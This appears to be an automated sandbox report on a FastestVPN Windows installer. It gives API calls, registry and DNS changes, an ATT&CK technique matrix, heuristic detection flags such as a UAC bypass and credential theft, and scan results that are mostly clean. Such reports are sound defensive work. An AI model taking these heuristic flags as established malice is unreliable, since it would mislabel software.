    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\iphelperclose.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\nfapi.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.RAS.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.RAS.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\iphelperclose.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\nfapi.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 24_2_024127C8 CreateNamedPipeA,24_2_024127C8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 10_2_00007FF76A708BC8 try_get_function,GetSystemTimeAsFileTime,10_2_00007FF76A708BC8
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 46_2_0102E7AC __EH_prolog,#540,#2755,#858,#2910,#2910,LookupAccountNameW,#861,#942,#940,#4197,#4197,#800,#2910,#2910,LookupAccountNameW,#858,46_2_0102E7AC
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_00401160 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__ioinit,__amsg_exit,GetCommandLineA,___crtGetEnvironmentStringsA,__setargv,__amsg_exit,__setenvp,__amsg_exit,__cinit,__amsg_exit,__wincmdln,31_2_00401160
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
    Source: C:\Windows\System32\svchost.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4 Blob

    Stealing of Sensitive Information

    barindex
    Modifies the DNS server
    Source: C:\Windows\System32\svchost.exeRegistry value created: Jump to behavior
    Source: is-SIFEE.tmp.2.drBinary or memory string: OWIN_SERVER@Microsoft.Owin.Host.HttpListener
    Source: is-SIFEE.tmp.2.drBinary or memory string: OWIN_SERVERAMicrosoft.Owin.Host.HttpListenerPORT
    Source: FastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OWIN_SERVER
    Source: FastestVPN.WindowsService.exeBinary or memory string: WIN_SERVER
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_10014170 ?nf_deleteBindingRules@nfapi@@YA?AW4_NF_STATUS@@XZ,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,31_2_10014170
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 31_2_100141E0 ?nf_addBindingRule@nfapi@@YA?AW4_NF_STATUS@@PAU_NF_BINDING_RULE@1@H@Z,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,31_2_100141E0

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity Information1
    Scripting    		1
    Valid Accounts    		1
    Windows Management Instrumentation    		1
    Scripting    		1
    LSASS Driver    		11
    Disable or Modify Tools    		1
    Network Sniffing    		1
    System Time Discovery    		Remote Services1
    Archive Collected Data    		1
    Encrypted Channel    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts1
    Native API    		1
    LSASS Driver    		1
    DLL Side-Loading    		1
    Deobfuscate/Decode Files or Information    		LSASS Memory1
    Account Discovery    		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts13
    Command and Scripting Interpreter    		1
    DLL Side-Loading    		1
    Valid Accounts    		3
    Obfuscated Files or Information    		Security Account Manager4
    File and Directory Discovery    		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal Accounts13
    Service Execution    		1
    Valid Accounts    		11
    Access Token Manipulation    		2
    Software Packing    		NTDS1
    Network Sniffing    		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud Accounts1
    PowerShell    		45
    Windows Service    		45
    Windows Service    		1
    Timestomp    		LSA Secrets195
    System Information Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled Task221
    Registry Run Keys / Startup Folder    		13
    Process Injection    		1
    DLL Side-Loading    		Cached Domain Credentials2
    Query Registry    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items221
    Registry Run Keys / Startup Folder    		1
    File Deletion    		DCSync151
    Security Software Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job33
    Masquerading    		Proc Filesystem2
    Process Discovery    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
    Valid Accounts    		/etc/passwd and /etc/shadow61
    Virtualization/Sandbox Evasion    		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
    IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron12
    Modify Registry    		Network Sniffing1
    Application Window Discovery    		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
    Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd61
    Virtualization/Sandbox Evasion    		Input Capture3
    System Owner/User Discovery    		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
    Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task11
    Access Token Manipulation    		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
    Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers13
    Process Injection    		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 signatures2 2 Behavior Graph ID: 1524829 Sample: mnFHs2DuKg.exe Startdate: 03/10/2024 Architecture: WINDOWS Score: 48 90 Malicious sample detected (through community Yara rule) 2->90 92 Yara detected UAC Bypass using CMSTP 2->92 94 NDIS Filter Driver detected (likely used to intercept and sniff network traffic) 2->94 96 Suspicious powershell command line found 2->96 9 mnFHs2DuKg.exe 2 2->9         started        12 FastestVPN.WindowsService.exe 2->12         started        15 FastestVPN.exe 35 2->15         started        17 5 other processes 2->17 process3 dnsIp4 80 C:\Users\user\AppData\...\mnFHs2DuKg.tmp, PE32 9->80 dropped 20 mnFHs2DuKg.tmp 28 163 9->20         started        102 Reads the Security eventlog 12->102 104 Reads the System eventlog 12->104 106 Suspicious powershell command line found 15->106 23 powershell.exe 15->23         started        88 127.0.0.1 unknown unknown 17->88 108 Modifies the DNS server 17->108 25 drvinst.exe 12 17->25         started        27 drvinst.exe 43 2 17->27         started        29 WerFault.exe 17->29         started        file5 signatures6 process7 file8 64 C:\...\FastestVPN.WindowsService.exe (copy), PE32 20->64 dropped 66 C:\Program Files\FastestVPN\...\is-QVG37.tmp, PE32+ 20->66 dropped 68 C:\Program Files\...\FastestVPN.exe (copy), PE32 20->68 dropped 78 194 other files (2 malicious) 20->78 dropped 31 cmd.exe 1 20->31         started        34 cmd.exe 1 20->34         started        36 cmd.exe 20->36         started        40 6 other processes 20->40 38 conhost.exe 23->38         started        70 C:\Windows\System32\...\tap0901.sys (copy), PE32+ 25->70 dropped 72 C:\Windows\System32\...\SET28C9.tmp, PE32+ 25->72 dropped 74 C:\Windows\System32\...\tap0901.sys (copy), PE32+ 27->74 dropped 76 C:\Windows\System32\drivers\SET3E81.tmp, PE32+ 27->76 dropped process9 signatures10 110 Uses cmd line tools excessively to alter registry or file data 31->110 112 Uses regedit.exe to modify the Windows registry 31->112 114 Queries sensitive system registry key value via command line tool 31->114 42 tapinstall.exe 1 8 31->42         started        45 reg.exe 1 31->45         started        56 4 other processes 31->56 47 sc.exe 1 34->47         started        49 xcopy.exe 34->49         started        58 7 other processes 34->58 51 regedit.exe 36->51         started        54 conhost.exe 36->54         started        116 Reads the Security eventlog 40->116 118 Reads the System eventlog 40->118 60 5 other processes 40->60 process11 file12 82 C:\Users\user\AppData\...\tap0901.sys (copy), PE32+ 42->82 dropped 84 C:\Users\user\AppData\Local\...\SET25DB.tmp, PE32+ 42->84 dropped 62 conhost.exe 47->62         started        86 C:\Windows\System32\...\fastestvpndriver.sys, PE32+ 49->86 dropped 98 Creates autostart registry keys with suspicious values (likely registry only malware) 51->98 100 Creates an autostart registry key pointing to binary in C:\Windows 51->100 signatures13 process14

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    mnFHs2DuKg.exe0%ReversingLabs
    mnFHs2DuKg.exe0%VirustotalBrowse

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Flurl.Http.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Flurl.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\devcon.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-A65FP.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-FKR1L.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-EMFMT.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-VEH95.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-EVBIG.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-NJEU5.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-0SJ98.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-EUPO7.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)0%ReversingLabs

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    bg.microsoft.map.fastly.net0%VirustotalBrowse
    default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com0%VirustotalBrowse
    fp2e7a.wpc.phicdn.net0%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
    http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue0%URL Reputationsafe
    https://aka.ms/pscore6lB0%URL Reputationsafe
    https://www.remobjects.com/ps0%URL Reputationsafe
    https://nuget.org/nuget.exe0%URL Reputationsafe
    https://www.innosetup.com/0%URL Reputationsafe
    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
    http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
    http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
    https://go.micro0%URL Reputationsafe
    http://www.entrust.net/rpa030%URL Reputationsafe
    https://contoso.com/Icon0%URL Reputationsafe
    http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
    http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue0%URL Reputationsafe
    https://www.entrust.net/rpa00%URL Reputationsafe
    http://ocsp.sectigo.com00%URL Reputationsafe
    http://ocsp.entrust.net030%URL Reputationsafe
    http://ip-api.com/json0%URL Reputationsafe
    https://contoso.com/License0%URL Reputationsafe
    http://schemas.datacontract.org0%VirustotalBrowse
    https://fastestvpn.com/buy-vpn1%VirustotalBrowse
    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdJ1%VirustotalBrowse
    http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#0%VirustotalBrowse
    http://schemas.xmlsoap.org/ws/2004/09/policyn0%VirustotalBrowse
    https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac7327580%VirustotalBrowse
    https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU0%VirustotalBrowse
    http://schemas.xmlsoap.org/ws/2005/02/scstm0%VirustotalBrowse
    http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt00%VirustotalBrowse
    https://github.com/hardcodet/wpf-notifyicon.0%VirustotalBrowse
    http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_0%VirustotalBrowse
    https://login.microsoftonline.com/ppsecure/ResolveUser.srf0%VirustotalBrowse
    https://github.com/aspnet/AspNetKatanad0%VirustotalBrowse
    http://Passport.NET/STS&lt;0%VirustotalBrowse
    http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl00%VirustotalBrowse
    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA0%VirustotalBrowse
    http://aia.entrust.net/ts2-chain256.p7c010%VirustotalBrowse
    http://schemas.datacontract.org/2004/07/System.ServiceProcess0%VirustotalBrowse
    http://www.hardcodet.net/taskbar0%VirustotalBrowse
    https://github.com/dotnet/corefx/tree/7601f4f6225089ff0%VirustotalBrowse
    https://www.fastestvpn.com/0%VirustotalBrowse
    https://fastestvpn.com/terms-of-service?device=windows1%VirustotalBrowse
    https://scripts.sil.org/OFL0%VirustotalBrowse
    https://fastestvpn.com/buy-vpn?device=windows1%VirustotalBrowse
    http://crl.entrust.net/g2ca.c0%VirustotalBrowse
    https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf0%VirustotalBrowse
    https://api.fastestvpn.com/v21%VirustotalBrowse
    https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.0%VirustotalBrowse
    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdecuri0%VirustotalBrowse
    https://account.live.com/InlineSignup.aspx?iww=1&id=805020%VirustotalBrowse
    https://in.appcenter.ms./logs?api-version=1.0.00%VirustotalBrowse
    https://github.com/JamesNK/Newtonsoft.Jsond0%VirustotalBrowse
    http://signalr.net/0%VirustotalBrowse
    http://temp.com/0%VirustotalBrowse

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    bg.microsoft.map.fastly.net
    		199.232.210.172
    		truefalseunknown
    default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com
    		217.20.57.34
    		truefalseunknown
    fp2e7a.wpc.phicdn.net
    		192.229.221.95
    		truefalseunknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://schemas.xmlsoap.org/ws/2004/09/policynsvchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpfalseunknown
    https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUmnFHs2DuKg.exefalseunknown
    https://fastestvpn.com/buy-vpnmnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, FastestVPN.exe, 00000018.00000002.2742675136.0000000005422000.00000002.00000001.01000000.00000013.sdmpfalseunknown
    http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdJsvchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpfalseunknown
    http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drfalse
    • URL Reputation: safe
    		unknown
    http://schemas.datacontract.orgFastestVPN.WindowsService.exe, 0000002D.00000002.2062353935.00000000033C5000.00000004.00000800.00020000.00000000.sdmpfalseunknown
    http://schemas.xmlsoap.org/ws/2005/02/scstmsvchost.exe, 0000002A.00000002.2722619320.000001B241537000.00000004.00000020.00020000.00000000.sdmpfalseunknown
    https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac732758FastestVPN.exe, 00000018.00000002.2761646832.000000000B6F2000.00000002.00000001.01000000.00000030.sdmpfalseunknown
    http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, is-KHD5M.tmp.2.dr, is-QC9L9.tmp.2.dr, is-SURFG.tmp.2.drfalseunknown
    http://ocsps.ssl.com0?mnFHs2DuKg.exefalse
      		unknown
      http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0mnFHs2DuKg.exefalseunknown
      https://github.com/aspnet/AspNetKatanadFastestVPN.WindowsService.exe, 00000032.00000002.2723960778.000000000163C000.00000004.00000800.00020000.00000000.sdmpfalseunknown
      https://github.com/hardcodet/wpf-notifyicon.mnFHs2DuKg.tmp, 00000002.00000003.2129577836.0000000007A54000.00000004.00001000.00020000.00000000.sdmp, FastestVPN.exe, 00000018.00000002.2743463677.0000000005652000.00000002.00000001.01000000.00000019.sdmpfalseunknown
      http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0mnFHs2DuKg.exefalseunknown
      http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_mnFHs2DuKg.exefalseunknown
      https://login.microsoftonline.com/ppsecure/ResolveUser.srfsvchost.exe, 0000002A.00000003.1974501026.000001B24153B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974625951.000001B241563000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.1974577228.000001B241540000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2721472473.000001B240C40000.00000004.00000020.00020000.00000000.sdmpfalseunknown
      http://Passport.NET/STS&lt;svchost.exe, 0000002A.00000003.1997019702.000001B240D02000.00000004.00000020.00020000.00000000.sdmpfalseunknown
